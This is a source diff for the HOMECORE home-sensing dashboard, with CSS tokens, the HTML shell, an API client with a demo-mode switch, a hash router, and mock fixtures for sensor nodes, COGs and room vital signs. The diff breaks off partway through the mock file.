--bg: #0a0e1a; /* page background (very dark navy) */
|
||||
--bg2: #111627; /* secondary background / nav strip */
|
||||
--card: #171d30; /* card / panel surface */
|
||||
--card-h: #1e2540; /* card hover state */
|
||||
--border: #252d45; /* all border strokes (~0.67px, subtle) */
|
||||
--t1: #e0e4f0; /* primary text (near-white) */
|
||||
--t2: #8890a8; /* secondary / muted text */
|
||||
--t3: #505872; /* tertiary / disabled text */
|
||||
--cyan: #4ecdc4; /* primary action colour */
|
||||
--cyan-d: rgba(78,205,196,0.15);
|
||||
--green: #6bcb77; /* success / online / healthy */
|
||||
--green-d: rgba(107,203,119,0.15);
|
||||
--amber: #d4a574; /* warning / stale / degraded */
|
||||
--amber-d: rgba(212,165,116,0.15);
|
||||
--red: #e06060; /* error / offline / veto */
|
||||
--red-d: rgba(224,96,96,0.15);
|
||||
--purple: #a78bfa; /* informational / epoch / chain */
|
||||
--purple-d: rgba(167,139,250,0.15);
|
||||
--r: 10px; /* standard border radius */
|
||||
|
||||
/* §3.2 typography */
|
||||
--font: 'Segoe UI', system-ui, -apple-system, sans-serif;
|
||||
--mono: 'Cascadia Code', 'Fira Code', Consolas, monospace;
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>HOMECORE — Cognitum Appliance</title>
|
||||
<meta name="description" content="HOMECORE operational dashboard for the two-tier Cognitum stack (ADR-131)." />
|
||||
<link rel="stylesheet" href="./css/tokens.css" />
|
||||
<link rel="stylesheet" href="./css/app.css" />
|
||||
</head>
|
||||
<body>
|
||||
<div id="app">
|
||||
<noscript>HOMECORE-UI requires JavaScript.</noscript>
|
||||
</div>
|
||||
<script type="module" src="./js/app.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,197 @@
|
||||
// HOMECORE-UI API client — ADR-131 §2 / §11.
|
||||
//
|
||||
// Production path: every method issues a SAME-ORIGIN request to the
|
||||
// homecore-server BFF gateway (§2.1). There is NO mock fallback in
|
||||
// production — a failed upstream rejects, and the panel renders a typed
|
||||
// error/empty state (§2.2, §11.11). The in-browser mock layer is a
|
||||
// DEV-ONLY fixture, reachable only when demo mode is on:
|
||||
// ?demo=1 in the URL, globalThis.HOMECORE_UI_DEMO, or
|
||||
// localStorage 'homecore_demo' = '1'.
|
||||
//
|
||||
// Gateway route map: ADR-131 §11.2.
|
||||
|
||||
// DEV-ONLY fixtures. Loaded via DYNAMIC import so a production bundle that
|
||||
// never enters demo mode never pulls mock.js into the graph (§2.2). Cached
|
||||
// after first use so repeated demo calls don't re-import.
|
||||
let _mock = null;
|
||||
async function loadMock() {
|
||||
if (!_mock) _mock = await import('./mock.js');
|
||||
return _mock;
|
||||
}
|
||||
|
||||
const demoFlags = {};
|
||||
|
||||
/** Demo mode = explicit dev opt-in only; never the production default. */
|
||||
export function demoMode() {
|
||||
try { if (typeof location !== 'undefined' && /[?&]demo=1(\b|&|$)/.test(location.search || '')) return true; } catch {}
|
||||
try { if (typeof globalThis !== 'undefined' && globalThis.HOMECORE_UI_DEMO) return true; } catch {}
|
||||
try { if (typeof localStorage !== 'undefined' && localStorage.getItem('homecore_demo') === '1') return true; } catch {}
|
||||
return false;
|
||||
}
|
||||
|
||||
export const api = {
|
||||
base: '',
|
||||
token: () => { try { return localStorage.getItem('homecore_token') || 'dev-token'; } catch { return 'dev-token'; } },
|
||||
isDemo: (key) => !!demoFlags[key],
|
||||
anyDemo: () => demoMode() && Object.keys(demoFlags).length > 0,
|
||||
demoMode,
|
||||
|
||||
async _get(path) {
|
||||
const r = await fetch(this.base + path, { headers: { Authorization: 'Bearer ' + this.token() } });
|
||||
if (!r.ok) throw httpError(path, r.status);
|
||||
return r.json();
|
||||
},
|
||||
async _post(path, body) {
|
||||
const r = await fetch(this.base + path, {
|
||||
method: 'POST',
|
||||
headers: { Authorization: 'Bearer ' + this.token(), 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(body || {}),
|
||||
});
|
||||
if (!r.ok) throw httpError(path, r.status);
|
||||
return r.json();
|
||||
},
|
||||
async _delete(path) {
|
||||
const r = await fetch(this.base + path, { method: 'DELETE', headers: { Authorization: 'Bearer ' + this.token() } });
|
||||
if (!r.ok) throw httpError(path, r.status);
|
||||
return r.status === 204 ? {} : r.json();
|
||||
},
|
||||
|
||||
// demo-gated data accessor: real gateway GET in prod, mock fixture in demo.
|
||||
// The mock module is dynamically imported ONLY on the demo branch, so prod
|
||||
// never loads it. `mockFn` receives the loaded module.
|
||||
async _data(key, path, mockFn) {
|
||||
if (demoMode()) { demoFlags[key] = true; return mockFn(await loadMock()); }
|
||||
delete demoFlags[key];
|
||||
return this._get(path);
|
||||
},
|
||||
|
||||
// ── homecore-api (real, already served) ───────────────────────────
|
||||
async config() { return this._get('/api/config'); },
|
||||
async states() {
|
||||
if (demoMode()) { demoFlags.states = true; return demoEntities(); }
|
||||
delete demoFlags.states;
|
||||
return this._get('/api/states');
|
||||
},
|
||||
async services() { return this._data('services', '/api/services', () => []); },
|
||||
async callService(domain, service, data) { return this._post(`/api/services/${domain}/${service}`, data); },
|
||||
async setState(entityId, state, attributes) { return this._post(`/api/states/${entityId}`, { state, attributes: attributes || {} }); },
|
||||
|
||||
// ── gateway /api/homecore/* + /api/events (§11.2) ─────────────────
|
||||
async appliance() { return this._data('appliance', '/api/homecore/appliance', (m) => m.applianceHealth()); },
|
||||
async seeds() { return this._data('fleet', '/api/homecore/seeds', (m) => m.seeds()); },
|
||||
async seed(id) { return this._data('fleet', '/api/homecore/seeds/' + encodeURIComponent(id), (m) => m.seed(id)); },
|
||||
async esp32Warnings() {
|
||||
if (demoMode()) { demoFlags.fleet = true; return (await loadMock()).esp32Warnings(); }
|
||||
const seeds = await this._get('/api/homecore/seeds');
|
||||
return seeds.flatMap((s) => (s.warnings || []).map((issue) => ({ node_id: s.device_id, seed: s.device_id, issue })));
|
||||
},
|
||||
async cogs() { return this._data('cogs', '/api/homecore/cogs', (m) => m.cogs()); },
|
||||
async cogUpdates() { return this._data('cogs', '/api/homecore/cogs/updates', (m) => m.cogUpdates()); },
|
||||
async hailo() { return this._data('cogs', '/api/homecore/hailo', (m) => ({ worker: 'connected', cogs: m.cogs().filter((c) => c.arch === 'hailo10') })); },
|
||||
async roomStates() { return this._data('rooms', '/api/homecore/rooms', (m) => m.roomStates()); },
|
||||
async federation() { return this._data('fleet', '/api/homecore/federation', (m) => m.federation()); },
|
||||
async witnessLog(page = 0, size = 12) { return this._data('audit', `/api/homecore/witness?page=${page}&size=${size}`, (m) => m.witnessLog(page, size)); },
|
||||
async privacyModes() { return this._data('audit', '/api/homecore/privacy', (m) => m.privacyModes()); },
|
||||
async setPrivacy(seed, modeValue) { if (demoMode()) return { seed, mode: modeValue }; return this._post('/api/homecore/privacy', { seed, mode: modeValue }); },
|
||||
async eventHistory(n = 40) { return this._data('events', `/api/events?limit=${n}`, (m) => m.recentEvents(n)); },
|
||||
recentEvents(n) { return this.eventHistory(n); }, // back-compat alias (async)
|
||||
async settings() { return this._data('settings', '/api/homecore/settings', (m) => m.settings()); },
|
||||
async automations() { return this._data('automations', '/api/homecore/automations', () => []); },
|
||||
async saveAutomation(a) { if (demoMode()) return a; return this._post('/api/homecore/automations', a); },
|
||||
async tokens() { return this._data('settings', '/api/homecore/tokens', (m) => m.settings().tokens); },
|
||||
|
||||
// calibration (ADR-151) — real proxy in prod, simulated in demo.
|
||||
calibration: makeCalibration(),
|
||||
};
|
||||
|
||||
function httpError(path, status) {
|
||||
const e = new Error(`${path} → HTTP ${status}`);
|
||||
e.status = status;
|
||||
e.upstreamUnavailable = status === 503 || status === 504;
|
||||
return e;
|
||||
}
|
||||
|
||||
// Demo-only entity fixture (prod path uses real GET /api/states).
|
||||
function demoEntities() {
|
||||
return [
|
||||
{ entity_id: 'sensor.living_room_presence', state: 'true', attributes: { friendly_name: 'Living Room Presence', source: 'esp32-lr-01', seed: 'seed-livingroom-a1' }, last_changed: new Date().toISOString(), last_updated: new Date().toISOString(), context: { id: 'ctx-1', user_id: null, parent_id: null } },
|
||||
{ entity_id: 'sensor.bedroom_1_breathing_rate', state: '14.5', attributes: { friendly_name: 'Bedroom 1 Breathing Rate', unit_of_measurement: 'BPM', source: 'esp32-br1-01', seed: 'seed-bedroom-1' }, last_changed: new Date().toISOString(), last_updated: new Date().toISOString(), context: { id: 'ctx-2', user_id: null, parent_id: 'ctx-1' } },
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve an entity's tier provenance (§4.4 / §11.9). Prefers the
|
||||
* explicit `attributes.seed`/`attributes.cog` lineage that integrations
|
||||
* are expected to stamp; falls back to parsing the ESP32 node id. In demo
|
||||
* mode it may consult the mock node registry. Missing lineage → 'unknown'
|
||||
* (never fabricated).
|
||||
*/
|
||||
export function entityProvenance(entity) {
|
||||
const attrs = (entity && entity.attributes) || {};
|
||||
const src = String(attrs.source || '');
|
||||
const nodeMatch = src.match(/esp32[-\w]*/i);
|
||||
const node = attrs.node || (nodeMatch ? nodeMatch[0] : null);
|
||||
let seed = attrs.seed || null;
|
||||
// Demo-only enrichment: consult the mock node registry IF it has already
|
||||
// been dynamically loaded by a prior demo data call (this fn is sync, so it
|
||||
// cannot await the import). Prod never has `_mock` set → seed stays null
|
||||
// (never fabricated).
|
||||
if (!seed && demoMode() && node && _mock) {
|
||||
const cfg = _mock.settings().esp32.find((n) => n.node_id === node);
|
||||
seed = cfg ? cfg.seed : null;
|
||||
}
|
||||
const hailo = /hailo|pose/i.test(src) || /hailo/i.test(String(attrs.cog || ''));
|
||||
const cog = attrs.cog || (/matter|bfld|mmwave|mr60/i.test(src) ? 'cog-ha-matter' : (hailo ? 'cog-pose-estimation' : null));
|
||||
return { esp32: node, seed: seed || (node ? 'unknown' : null), cog: cog || 'unknown', hailo };
|
||||
}
|
||||
|
||||
// Calibration: per-call branch on demo mode. Prod proxies the real
|
||||
// calibrate-serve API via the gateway (/api/cal/v1/*). All methods are
|
||||
// async (the §4.7 wizard awaits them).
|
||||
function makeCalibration() {
|
||||
const ANCHORS = ['empty', 'stand_still', 'sit', 'lie_down', 'breathe_slow', 'breathe_normal', 'small_move', 'sleep_posture'];
|
||||
// demo session state
|
||||
let frames = 0; const target = 1200; const accepted = new Set();
|
||||
const get = (p) => api._get('/api/cal/v1' + p);
|
||||
const post = (p, b) => api._post('/api/cal/v1' + p, b);
|
||||
return {
|
||||
ANCHORS,
|
||||
get demo() { return demoMode(); },
|
||||
async start() {
|
||||
if (demoMode()) { frames = 0; return { baseline_id: 'bl-demo-' + ANCHORS.length }; }
|
||||
return post('/calibration/start', {});
|
||||
},
|
||||
async stop() { if (demoMode()) return { stopped: true }; return post('/calibration/stop', {}); },
|
||||
async status() {
|
||||
if (demoMode()) { frames = Math.min(target, frames + 180); return { frames, target, eta_s: Math.max(0, Math.round((target - frames) / 180)), z_median: 0.41, motion_flagged: frames < 360 }; }
|
||||
return get('/calibration/status');
|
||||
},
|
||||
async anchor(label) {
|
||||
if (demoMode()) {
|
||||
const ok = label !== 'sleep_posture' || accepted.size >= 6;
|
||||
if (ok) accepted.add(label);
|
||||
return { label, accepted: ok, reason: ok ? null : 'insufficient stillness — retry', features: { mean: 0.12, variance: 0.04, breathing_score: 0.7, heart_score: 0.55 } };
|
||||
}
|
||||
return post('/enroll/anchor', { label });
|
||||
},
|
||||
async enrollStatus() {
|
||||
if (demoMode()) return { accepted: [...accepted], total: ANCHORS.length };
|
||||
return get('/enroll/status');
|
||||
},
|
||||
async train(room_id) {
|
||||
if (demoMode()) {
|
||||
const trained = accepted.size >= 6;
|
||||
return {
|
||||
presence: trained ? { threshold: 0.31, occupied_var: 0.08 } : null,
|
||||
posture: trained ? { prototypes: 4 } : null,
|
||||
breathing: accepted.has('breathe_normal') ? { min_score: 0.6 } : null,
|
||||
heartbeat: accepted.has('breathe_normal') ? { min_score: 0.5 } : null,
|
||||
restlessness: trained ? { calm: 0.05, active: 0.6 } : null,
|
||||
anomaly: trained ? { prototypes: 8, scale: 1.4 } : null,
|
||||
};
|
||||
}
|
||||
return post('/room/train', { room_id });
|
||||
},
|
||||
reset() { accepted.clear(); frames = 0; },
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
// HOMECORE-UI bootstrap + shell + router — ADR-131 §5.
|
||||
//
|
||||
// Builds the Cognitum-shell top nav (Framework | Guide | Cog Store |
|
||||
// HOMECORE | Status) with HOMECORE active, a left sub-nav for the nine
|
||||
// HOMECORE sections, and a hash router. One shared WebSocket feeds a bus
|
||||
// that every panel subscribes to (no per-panel sockets, no polling).
|
||||
|
||||
import { h, clear, lagIndicator } from './ui.js';
|
||||
import { api } from './api.js';
|
||||
import { connect } from './ws.js';
|
||||
|
||||
import dashboard from './panels/dashboard.js';
|
||||
import fleet from './panels/fleet.js';
|
||||
import seedDetail from './panels/seed-detail.js';
|
||||
import entities from './panels/entities.js';
|
||||
import rooms from './panels/rooms.js';
|
||||
import cogs from './panels/cogs.js';
|
||||
import calibration from './panels/calibration.js';
|
||||
import events from './panels/events.js';
|
||||
import audit from './panels/audit.js';
|
||||
import settings from './panels/settings.js';
|
||||
|
||||
// Section registry. order drives the left sub-nav (§5).
|
||||
const SECTIONS = [
|
||||
{ id: 'dashboard', label: 'Dashboard', icon: '◳', mod: dashboard },
|
||||
{ id: 'fleet', label: 'SEED Fleet', icon: '⬡', mod: fleet },
|
||||
{ id: 'entities', label: 'Entities', icon: '◈', mod: entities },
|
||||
{ id: 'rooms', label: 'Rooms', icon: '⌂', mod: rooms },
|
||||
{ id: 'cogs', label: 'COGs', icon: '⚙', mod: cogs },
|
||||
{ id: 'calibration', label: 'Calibration', icon: '⊹', mod: calibration },
|
||||
{ id: 'events', label: 'Events', icon: '⚡', mod: events },
|
||||
{ id: 'audit', label: 'Audit', icon: '⛨', mod: audit },
|
||||
{ id: 'settings', label: 'Settings', icon: '⚒', mod: settings },
|
||||
];
|
||||
// Detail routes not shown in the sub-nav.
|
||||
const ROUTES = { 'seed': seedDetail };
|
||||
|
||||
// Shared event bus fed by the single WS connection.
|
||||
const bus = new EventTarget();
|
||||
let wsState = { state: 'connecting', lagged: false };
|
||||
|
||||
const ctx = {
|
||||
api,
|
||||
bus,
|
||||
wsStatus: () => wsState,
|
||||
navigate: (hash) => { location.hash = hash; },
|
||||
onEvent(handler) {
|
||||
const fn = (e) => handler(e.detail);
|
||||
bus.addEventListener('hc-event', fn);
|
||||
return () => bus.removeEventListener('hc-event', fn);
|
||||
},
|
||||
onWs(handler) {
|
||||
const fn = (e) => handler(e.detail);
|
||||
bus.addEventListener('hc-ws', fn);
|
||||
handler(wsState);
|
||||
return () => bus.removeEventListener('hc-ws', fn);
|
||||
},
|
||||
};
|
||||
|
||||
let cleanup = null;
|
||||
|
||||
function buildShell() {
|
||||
const topnav = h('.topnav',
|
||||
h('.brand',
|
||||
h('span.logo', 'C'),
|
||||
h('span.brand-name', 'Cognitum'),
|
||||
h('span.brand-sep', '/'),
|
||||
h('span.brand-tag', 'HOMECORE')),
|
||||
h('span.nav-spacer'),
|
||||
lagIndicatorHost());
|
||||
const sidenav = h('.sidenav', ...SECTIONS.map((s) => sideLink(s)));
|
||||
const content = h('.content#hc-content');
|
||||
const shell = h('.shell', sidenav, content);
|
||||
const root = document.getElementById('app');
|
||||
clear(root);
|
||||
root.appendChild(topnav);
|
||||
root.appendChild(shell);
|
||||
return content;
|
||||
}
|
||||
|
||||
function sideLink(section) {
|
||||
return h('a', { href: '#/' + section.id, 'data-section': section.id },
|
||||
h('span.ico', section.icon || '•'), h('span.lbl', section.label));
|
||||
}
|
||||
|
||||
function lagIndicatorHost() {
|
||||
const host = h('span');
|
||||
const paint = () => { clear(host); host.appendChild(lagIndicator(wsState.state, wsState.lagged)); };
|
||||
bus.addEventListener('hc-ws', paint);
|
||||
paint();
|
||||
return host;
|
||||
}
|
||||
|
||||
function highlightNav(id) {
|
||||
document.querySelectorAll('.sidenav a').forEach((a) => {
|
||||
a.classList.toggle('active', a.getAttribute('data-section') === id);
|
||||
});
|
||||
}
|
||||
|
||||
async function route() {
|
||||
const hash = location.hash.replace(/^#\/?/, '') || 'dashboard';
|
||||
const [head, ...rest] = hash.split('/');
|
||||
const content = document.getElementById('hc-content') || buildShell();
|
||||
|
||||
if (typeof cleanup === 'function') { try { cleanup(); } catch {} cleanup = null; }
|
||||
clear(content);
|
||||
|
||||
let mod, params = {};
|
||||
const section = SECTIONS.find((s) => s.id === head);
|
||||
if (section) { mod = section.mod; highlightNav(head); }
|
||||
else if (ROUTES[head]) { mod = ROUTES[head]; params.id = rest[0]; highlightNav('fleet'); }
|
||||
else { mod = SECTIONS[0].mod; highlightNav('dashboard'); }
|
||||
|
||||
try {
|
||||
const result = await mod.render(content, { ...ctx, params });
|
||||
if (typeof result === 'function') cleanup = result;
|
||||
} catch (e) {
|
||||
content.appendChild(h('.banner.red', 'Panel error: ' + (e && e.message ? e.message : e)));
|
||||
console.error(e);
|
||||
}
|
||||
}
|
||||
|
||||
function start() {
|
||||
buildShell();
|
||||
// Attach routing + render the first panel BEFORE opening the socket.
|
||||
// connect() invokes its status callback synchronously, so the WS wiring
|
||||
// must not be on the critical render path (a thrown callback here would
|
||||
// otherwise blank the whole dashboard).
|
||||
window.addEventListener('hashchange', route);
|
||||
route();
|
||||
const ctrl = connect(
|
||||
(evt) => bus.dispatchEvent(new CustomEvent('hc-event', { detail: evt })),
|
||||
(st) => { wsState = { state: st.state, lagged: !!st.lagged }; bus.dispatchEvent(new CustomEvent('hc-ws', { detail: wsState })); },
|
||||
);
|
||||
ctx.ws = ctrl;
|
||||
}
|
||||
|
||||
if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', start);
|
||||
else start();
|
||||
|
||||
export { SECTIONS, ctx };
|
||||
@@ -0,0 +1,296 @@
|
||||
// HOMECORE-UI contract-conformant mock layer — ADR-131 §7.1.
|
||||
//
|
||||
// "Where a service is not yet stable, the panel is still built against
|
||||
// its defined contract (with a contract-conformant mock standing in for
|
||||
// the live endpoint only until that endpoint lands)."
|
||||
//
|
||||
// Shapes mirror the schemas described in ADR-131 §4 + the calibration
|
||||
// RoomState contract (docs/integration/calibration-appliance-integration.md)
|
||||
// + the SEED HTTPS API. Live endpoints replace these the moment they
|
||||
// exist; nothing here is presented to the operator as real (the UI shows
|
||||
// a DEMO badge whenever the mock layer is serving a panel — see api.js).
|
||||
|
||||
const now = () => new Date().toISOString();
|
||||
const ago = (s) => new Date(Date.now() - s * 1000).toISOString();
|
||||
function jitter(base, amp) { return +(base + (Math.sin(Date.now() / 3000 + base) * amp)).toFixed(2); }
|
||||
function spark(base, amp, n = 24) {
|
||||
return Array.from({ length: n }, (_, i) => +(base + Math.sin(i / 2) * amp + (i % 3) * amp * 0.2).toFixed(2));
|
||||
}
|
||||
|
||||
// Factory for a bedroom SEED node — keeps the three bedrooms consistent
|
||||
// while varying the values that matter for the analysis views.
|
||||
function bedroomSeed(o) {
|
||||
return {
|
||||
device_id: o.device_id, firmware: '0.7.3', online: true, conn: o.conn || 'wifi', epoch: o.epoch,
|
||||
vector_count: o.vector_count, vector_dim: 8, knn_latency_ms: o.knn_latency_ms,
|
||||
last_ingest: ago(2), witness_valid: true, witness_len: o.witness_len,
|
||||
witness_last_verify: ago(1800), zone: o.zone,
|
||||
storage_used: o.vector_count, storage_budget: 100000,
|
||||
sensors: {
|
||||
bme280: { temp_c: o.temp_c, humidity_pct: o.humidity_pct, pressure_hpa: 1013.0 },
|
||||
pir: { motion: o.motion, last_trigger: ago(o.motion ? 5 : 640) },
|
||||
reed: { open: false, last_change: ago(30000) },
|
||||
ads1115: [{ label: 'ch0', v: 0.11 }, { label: 'ch1', v: 0.0 }, { label: 'ch2', v: 0.0 }, { label: 'ch3', v: 0.0 }],
|
||||
vibration: { active: false, last_trigger: null },
|
||||
},
|
||||
reflex: [
|
||||
{ name: 'fragility_alarm', threshold: 0.3, target: 'relay actuator', last_fired: o.fired ? ago(420) : null, fired_recently: !!o.fired },
|
||||
{ name: 'drift_cutoff', threshold: 1.0, target: 'ingest gate', last_fired: null, fired_recently: false },
|
||||
{ name: 'hd_anomaly_indicator', threshold: 200, target: 'PWM brightness', last_fired: null, fired_recently: false },
|
||||
],
|
||||
cognition: { fragility: o.fragility, coherence_phases: o.phases, knn_rebuild_s: 10 },
|
||||
ingest: { batch: 64, flush_ms: 1000, bridge: 'direct', esp32: [{ node_id: o.node, packet: '0xC5110003', rate_hz: 1.0 }] },
|
||||
esp32_nodes: 1, frame_rate_hz: 100,
|
||||
};
|
||||
}
|
||||
|
||||
// ── v0 Appliance health (§4.1) ──────────────────────────────────────
|
||||
export function applianceHealth() {
|
||||
return {
|
||||
cpu_pct: jitter(34, 6),
|
||||
ram_pct: jitter(58, 4),
|
||||
hailo_load_pct: jitter(41, 12),
|
||||
hailo_temp_c: jitter(52, 3),
|
||||
uptime_s: 824510,
|
||||
services: [
|
||||
{ name: 'ruview-mcp-brain', port: 9876, status: 'running' },
|
||||
{ name: 'cognitum-rvf-agent', port: 9004, status: 'running' },
|
||||
{ name: 'ruvector-hailo-worker', port: 50051, status: 'running' },
|
||||
],
|
||||
event_rate: spark(120, 40),
|
||||
channel_capacity: 4096,
|
||||
channel_lag: 0,
|
||||
};
|
||||
}
|
||||
|
||||
// ── SEED fleet (§4.1 / §4.2) ────────────────────────────────────────
|
||||
const SEEDS = [
|
||||
{
|
||||
device_id: 'seed-livingroom-a1',
|
||||
firmware: '0.7.3', online: true, conn: 'wifi', epoch: 184,
|
||||
vector_count: 71280, vector_dim: 8, knn_latency_ms: 2.1,
|
||||
last_ingest: ago(3), witness_valid: true, witness_len: 184210,
|
||||
witness_last_verify: ago(900), zone: 'Living Room',
|
||||
storage_used: 71280, storage_budget: 100000,
|
||||
sensors: {
|
||||
bme280: { temp_c: 21.6, humidity_pct: 44, pressure_hpa: 1013.2 },
|
||||
pir: { motion: true, last_trigger: ago(8) },
|
||||
reed: { open: false, last_change: ago(7200) },
|
||||
ads1115: [{ label: 'soil', v: 0.42 }, { label: 'light', v: 0.71 }, { label: 'aux2', v: 0.03 }, { label: 'aux3', v: 0.0 }],
|
||||
vibration: { active: false, last_trigger: ago(40000) },
|
||||
},
|
||||
reflex: [
|
||||
{ name: 'fragility_alarm', threshold: 0.3, target: 'relay actuator', last_fired: ago(300), fired_recently: true },
|
||||
{ name: 'drift_cutoff', threshold: 1.0, target: 'ingest gate', last_fired: null, fired_recently: false },
|
||||
{ name: 'hd_anomaly_indicator', threshold: 200, target: 'PWM brightness', last_fired: ago(12000), fired_recently: false },
|
||||
],
|
||||
cognition: { fragility: 0.42, coherence_phases: [{ t: ago(3600), label: 'empty' }, { t: ago(1800), label: 'occupied' }, { t: ago(300), label: 'regime-change' }], knn_rebuild_s: 10 },
|
||||
ingest: { batch: 64, flush_ms: 1000, bridge: 'host-laptop hop', esp32: [{ node_id: 'esp32-lr-01', packet: '0xC5110003', rate_hz: 1.0 }, { node_id: 'esp32-lr-02', packet: '0xC5110002', rate_hz: 0.9 }] },
|
||||
esp32_nodes: 2, frame_rate_hz: 98,
|
||||
},
|
||||
bedroomSeed({
|
||||
device_id: 'seed-bedroom-1', zone: 'Bedroom 1 (primary)', epoch: 183,
|
||||
vector_count: 38110, knn_latency_ms: 1.7, witness_len: 91022,
|
||||
temp_c: 20.1, humidity_pct: 47, motion: false, fragility: 0.12,
|
||||
phases: [{ t: ago(7200), label: 'empty' }, { t: ago(3600), label: 'sleep' }],
|
||||
node: 'esp32-br1-01', conn: 'usb',
|
||||
}),
|
||||
bedroomSeed({
|
||||
device_id: 'seed-bedroom-2', zone: 'Bedroom 2 (guest)', epoch: 181,
|
||||
vector_count: 29440, knn_latency_ms: 1.9, witness_len: 70210,
|
||||
temp_c: 19.4, humidity_pct: 50, motion: true, fragility: 0.21,
|
||||
phases: [{ t: ago(5400), label: 'empty' }, { t: ago(900), label: 'occupied' }],
|
||||
node: 'esp32-br2-01', conn: 'wifi',
|
||||
}),
|
||||
bedroomSeed({
|
||||
device_id: 'seed-bedroom-3', zone: 'Bedroom 3 (kids)', epoch: 179,
|
||||
vector_count: 24105, knn_latency_ms: 2.0, witness_len: 60880,
|
||||
temp_c: 21.0, humidity_pct: 45, motion: false, fragility: 0.34,
|
||||
phases: [{ t: ago(9000), label: 'empty' }, { t: ago(4200), label: 'sleep' }, { t: ago(600), label: 'restless' }],
|
||||
node: 'esp32-br3-01', conn: 'wifi', fired: true,
|
||||
}),
|
||||
{
|
||||
device_id: 'seed-hallway-c3',
|
||||
firmware: '0.6.9', online: false, conn: 'wifi', epoch: 170,
|
||||
vector_count: 12044, vector_dim: 8, knn_latency_ms: null,
|
||||
last_ingest: ago(5400), witness_valid: true, witness_len: 40110,
|
||||
witness_last_verify: ago(86400), zone: 'Hallway',
|
||||
storage_used: 12044, storage_budget: 100000,
|
||||
sensors: null,
|
||||
reflex: [],
|
||||
cognition: { fragility: null, coherence_phases: [], knn_rebuild_s: 10 },
|
||||
ingest: { batch: 64, flush_ms: 1000, bridge: 'direct', esp32: [] },
|
||||
esp32_nodes: 0, frame_rate_hz: 0,
|
||||
warnings: ['stale firmware version (0.6.9 < 0.7.3)', 'offline > 1h'],
|
||||
},
|
||||
];
|
||||
export function seeds() { return SEEDS.map((s) => ({ ...s })); }
|
||||
export function seed(id) { return SEEDS.find((s) => s.device_id === id) || null; }
|
||||
|
||||
// ── ESP32 node warnings (§4.1) ──────────────────────────────────────
|
||||
export function esp32Warnings() {
|
||||
return [
|
||||
{ node_id: 'esp32-lr-02', seed: 'seed-livingroom-a1', issue: 'presence_score normalisation anomaly' },
|
||||
{ node_id: 'esp32-hw-01', seed: 'seed-hallway-c3', issue: 'stale firmware version' },
|
||||
];
|
||||
}
|
||||
|
||||
// ── COG runtime (§4.6) ──────────────────────────────────────────────
|
||||
const COGS = [
|
||||
{ id: 'cog-ha-matter', version: '1.4.2', arch: 'arm', status: 'running', pid: 4120, sha256_verified: true, signature_verified: true },
|
||||
{ id: 'cog-pose-estimation', version: '2.1.0', arch: 'hailo10', status: 'running', pid: 4188, sha256_verified: true, signature_verified: true, hef: ['rf_foundation_encoder.hef', 'pose_head.hef'], throughput_fps: 41 },
|
||||
{ id: 'cog-person-count', version: '0.9.4', arch: 'arm', status: 'running', pid: 4205, sha256_verified: true, signature_verified: true },
|
||||
{ id: 'cog-calibration', version: '1.0.1', arch: 'arm', status: 'running', pid: 4250, sha256_verified: true, signature_verified: true },
|
||||
{ id: 'cog-anomaly-watch', version: '0.3.0', arch: 'arm', status: 'failed', pid: null, sha256_verified: true, signature_verified: true, error: 'panic: bank not found' },
|
||||
{ id: 'cog-legacy-bridge', version: '0.1.2', arch: 'arm', status: 'stopped', pid: null, sha256_verified: false, signature_verified: false },
|
||||
];
|
||||
export function cogs() { return COGS.map((c) => ({ ...c })); }
|
||||
export function cogUpdates() { return [{ id: 'cog-pose-estimation', from: '2.1.0', to: '2.2.0', new_entities: ['sensor.lr_pose_confidence'], config_changes: ['add: max_persons'] }]; }
|
||||
export function appRegistry() {
|
||||
return [
|
||||
{ id: 'cog-fall-detect', title: 'Fall Detection', desc: 'Multistatic fall detection specialist', category: 'safety', arch: 'arm', featured: true, new_entities: ['binary_sensor.{room}_fall'] },
|
||||
{ id: 'cog-sleep-stage', title: 'Sleep Staging', desc: 'REM/deep/light from breathing + restlessness', category: 'health', arch: 'hailo10', new_entities: ['sensor.{room}_sleep_stage'] },
|
||||
{ id: 'cog-gesture', title: 'Gesture Control', desc: 'DTW gesture classifier → service calls', category: 'control', arch: 'arm', new_entities: ['event.{room}_gesture'] },
|
||||
];
|
||||
}
|
||||
|
||||
// ── RoomState / sensing (§4.5) — calibration contract ───────────────
|
||||
export function roomStates() {
|
||||
return [
|
||||
{
|
||||
room_id: 'living_room', stale: false, vetoed: false, seeds: ['seed-livingroom-a1'],
|
||||
presence: { value: 'occupied', confidence: 0.93 },
|
||||
posture: { value: 'sitting', confidence: 0.81 },
|
||||
breathing_bpm: { value: jitter(15, 1.5), confidence: 0.77 },
|
||||
heart_bpm: { value: jitter(72, 3), confidence: 0.64 },
|
||||
restlessness: { value: 0.22, confidence: 0.7 },
|
||||
anomaly: { value: 0.18, confidence: 0.8, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
// Bedroom 1 — primary; healthy sleeping vitals.
|
||||
room_id: 'bedroom_1', stale: false, vetoed: false, seeds: ['seed-bedroom-1'],
|
||||
presence: { value: 'occupied', confidence: 0.91 },
|
||||
posture: { value: 'lying', confidence: 0.9 },
|
||||
breathing_bpm: { value: jitter(12, 1), confidence: 0.85 },
|
||||
heart_bpm: { value: jitter(58, 2), confidence: 0.72 },
|
||||
restlessness: { value: 0.08, confidence: 0.8 },
|
||||
anomaly: { value: 0.12, confidence: 0.84, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
// Bedroom 2 — guest; STALE bank (recalibrate demo).
|
||||
room_id: 'bedroom_2', stale: true, vetoed: false, seeds: ['seed-bedroom-2'],
|
||||
presence: { value: 'occupied', confidence: 0.86 },
|
||||
posture: { value: 'sitting', confidence: 0.7 },
|
||||
breathing_bpm: { value: jitter(16, 1.5), confidence: 0.66 },
|
||||
heart_bpm: { value: jitter(74, 3), confidence: 0.58 },
|
||||
restlessness: { value: 0.31, confidence: 0.62 },
|
||||
anomaly: { value: 0.4, confidence: 0.6, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
// Bedroom 3 — kids; heartbeat specialist not yet trained.
|
||||
